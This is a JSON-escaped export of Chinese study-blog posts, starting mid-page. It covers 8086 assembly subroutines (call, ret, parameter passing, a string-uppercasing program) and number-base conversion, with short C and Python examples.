class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eassume cs:code\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edata segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e db \u0026#39;conversation\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edata ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start:mov ax,data\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ds,ax\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov si,0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov cx,12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e call capital\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ax,4c00h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e int 21h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecapital:and byte ptr [si],11011111b\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inc si\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e loop capital\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eend start\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个程序的作用,是将data段中的字符串转化为大写。转换的原理,是大小写字母的ASCLL码的二进制的某一位不同。使用\u003ccode\u003eand\u003c/code\u003e和\u003ccode\u003eor\u003c/code\u003e就可以不使用判断语句而直接转换大小写了。\u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E8%BD%AC%E7%A7%BB%E6%8C%87%E4%BB%A4%E4%B8%8E%E5%AD%90%E7%A8%8B%E5%BA%8F/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cul\u003e\u003cli\u003ecall:用来进行标号跳转。\u003ccode\u003ecall [标号]\u003c/code\u003e会将\u003ccode\u003eCS:IP\u003c/code\u003e中的IP的地址设置为指向标号所在的位置,同时将当前的CS:IP中的IP压入栈中。相当于这样:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epush IP\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejmp [标号和当前行的相对距离]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e是不是很像C语言的goto呢?\u003c/p\u003e\u003cul\u003e\u003cli\u003eret:用来返回程序之前的位置。ret就相当于\u003ccode\u003epop IP\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e二者组合使用,就可以实现子程序的机制。其框架如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e标号:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 指令\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e使用子程序的框架如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eassume cs:code\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e main: :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e call sub1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ax,4c00h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e int 21h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sub1: :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e call sub2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sub2: :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e :\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ret\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eend main\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"参数传递\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E8%BD%AC%E7%A7%BB%E6%8C%87%E4%BB%A4%E4%B8%8E%E5%AD%90%E7%A8%8B%E5%BA%8F/#%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92\" class=\"headerlink\" title=\"参数传递\"\u003e\u003c/a\u003e参数传递\u003c/h2\u003e\u003cp\u003e有几种思路。\u003c/p\u003e\u003cp\u003e第一种,利用寄存器传递参数。仅适用于参数个数少的情况。\u003c/p\u003e\u003cp\u003e第二种,用寄存器传递参数长度,给子程序传递参数地址。\u003c/p\u003e\u003cp\u003e第三种,利用栈来传递参数。\u003c/p\u003e\u003ch2 id=\"寄存器冲突\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E8%BD%AC%E7%A7%BB%E6%8C%87%E4%BB%A4%E4%B8%8E%E5%AD%90%E7%A8%8B%E5%BA%8F/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%86%B2%E7%AA%81\" class=\"headerlink\" title=\"寄存器冲突\"\u003e\u003c/a\u003e寄存器冲突\u003c/h2\u003e\u003cp\u003e有可能在主程序和子程序中,都有同样的寄存器被使用(比如循环计数寄存器CX)。此时,程序就不会按照预期来运行。\u003c/p\u003e\u003cp\u003e我们的解决方法是,在子程序中使用寄存器时,将所有值存储到栈里,在子程序返回前再恢复。\u003c/p\u003e\u003ch2 id=\"三个子程序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E8%BD%AC%E7%A7%BB%E6%8C%87%E4%BB%A4%E4%B8%8E%E5%AD%90%E7%A8%8B%E5%BA%8F/#%E4%B8%89%E4%B8%AA%E5%AD%90%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"三个子程序\"\u003e\u003c/a\u003e三个子程序\u003c/h2\u003e\u003cp\u003e在实验中提到了三个子程序,分别是字符串显示,解决除法溢出,数值显示。后面我会试着自己写出来。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E8%BD%AC%E7%A7%BB%E6%8C%87%E4%BB%A4%E4%B8%8E%E5%AD%90%E7%A8%8B%E5%BA%8F/"},{"title":"进制转换","time":"2021-09-23T16:33:39Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e进制,也就是满X进一。其本质上是对于计数的简写。比如原来要表示一个数,只能用若干个小棒来表示。进制的出现,就相当于出现了代表一定数值的小棒的出现。这也就是\u003ccode\u003e位权\u003c/code\u003e:满X进一中的X。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e(摘自百度百科)进制转换是人们利用符号来计数的方法。进制转换由一组数码符号和两个基本因素“基数”与“位权”构成。基数是指,进位计数制中所采用的数码(数制中用来表示“量”的符号)的个数。位权是指,进位制中每一固定位置对应的单位值。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e理解了进制的本质后,我们就可以着手用数学工具去实现进制转换了。\u003c/p\u003e\u003ch2 id=\"短除法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/#%E7%9F%AD%E9%99%A4%E6%B3%95\" class=\"headerlink\" title=\"短除法\"\u003e\u003c/a\u003e短除法\u003c/h2\u003e\u003cp\u003e首先以十进制为例。规定//为带余数除法,我们规定一个正整数123,那么:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e123 // 10 = 12......3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12 // 10 = 1 ......2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e1 // 10 = 0 ......1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e观察。可以得到,三次除法的余数分别是3,2,1.对应个位,十位,百位。为什么呢?因为\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e123(10)=1*10^2+2*10^1+3*10^0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以,每次得到的余数,就是对应位的数。显然,此结论对于N进制都成立。\u003c/p\u003e\u003cp\u003e下面,我们用编程实现这个算法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* Dec2Bin - by xeonds */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebase_dec_2_bin_convert\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026lt;= \u003cspan class=\"number\"\u003e512\u003c/span\u003e \u0026amp;\u0026amp; i \u0026gt;= \u003cspan class=\"number\"\u003e-512\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;dec:%d bin:%d\\n\u0026#34;\u003c/span\u003e, i, base_dec_2_bin_convert(i));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Out of range.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebase_dec_2_bin_convert\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (num \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result += num % \u003cspan class=\"number\"\u003e2\u003c/span\u003e * i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num = (num - num % \u003cspan class=\"number\"\u003e2\u003c/span\u003e) / \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i *= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e算法核心部分是最后几行。\u003ccode\u003enum % 2 * i\u003c/code\u003e是计算最后一位并乘10,便于用int表示。\u003ccode\u003enum = (num - num % 2) / 2\u003c/code\u003e是将num减去余数并除以位权。\u003c/p\u003e\u003cp\u003e用[[Python|Python]]的话还可以写得更短些:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebase_10_to_2\u003c/span\u003e(\u003cspan class=\"params\"\u003enumber\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e number:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e number, rest = \u003cspan class=\"built_in\"\u003edivmod\u003c/span\u003e(number, \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(rest) + result\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e更进一步,我们可以实现任意进制转换:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebase_n_convert\u003c/span\u003e(\u003cspan class=\"params\"\u003enumber, letters\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e length = \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(letters)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e number:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e number, rest = \u003cspan class=\"built_in\"\u003edivmod\u003c/span\u003e(number-\u003cspan class=\"number\"\u003e1\u003c/span\u003e, length)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = letters[rest] + result\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其实这是我写的一个密码字典生成器。效率暂且不论,其原理也是进制转换。这里的\u003ccode\u003enumber\u003c/code\u003e是待转换的十进制数,\u003ccode\u003eletters\u003c/code\u003e是待转换的N进制数的所有字符,比如十进制是0\u003cdel\u003e9,十六进制是0\u003c/del\u003eF。\u003c/p\u003e\u003cp\u003e上面实现的,都是10进制转其他进制。其他进制转十进制很简单,只需要将各个位乘以其位权,求和即可得到其十进制表示。其原因很简单,我们的数学体系是建立在十进制的,所以对于十进制环境下的各种运算都很熟悉。这个方法对于任意进制转p进制其实都适用,不过这需要编写相应进制的四则运算算法,相对麻烦一些。\u003c/p\u003e\u003cp\u003e任意进制和任意进制的互转,可直接也可间接。间接,即将p进制数先转换为10进制等中间进制,再将其转换为q进制。直接,即利用对应规则进行转换。如二进制和十六进制互转,便可利用有限个对应规则实现快速互转。\u003c/p\u003e\u003ch2 id=\"小结\"\u003e\u003ca 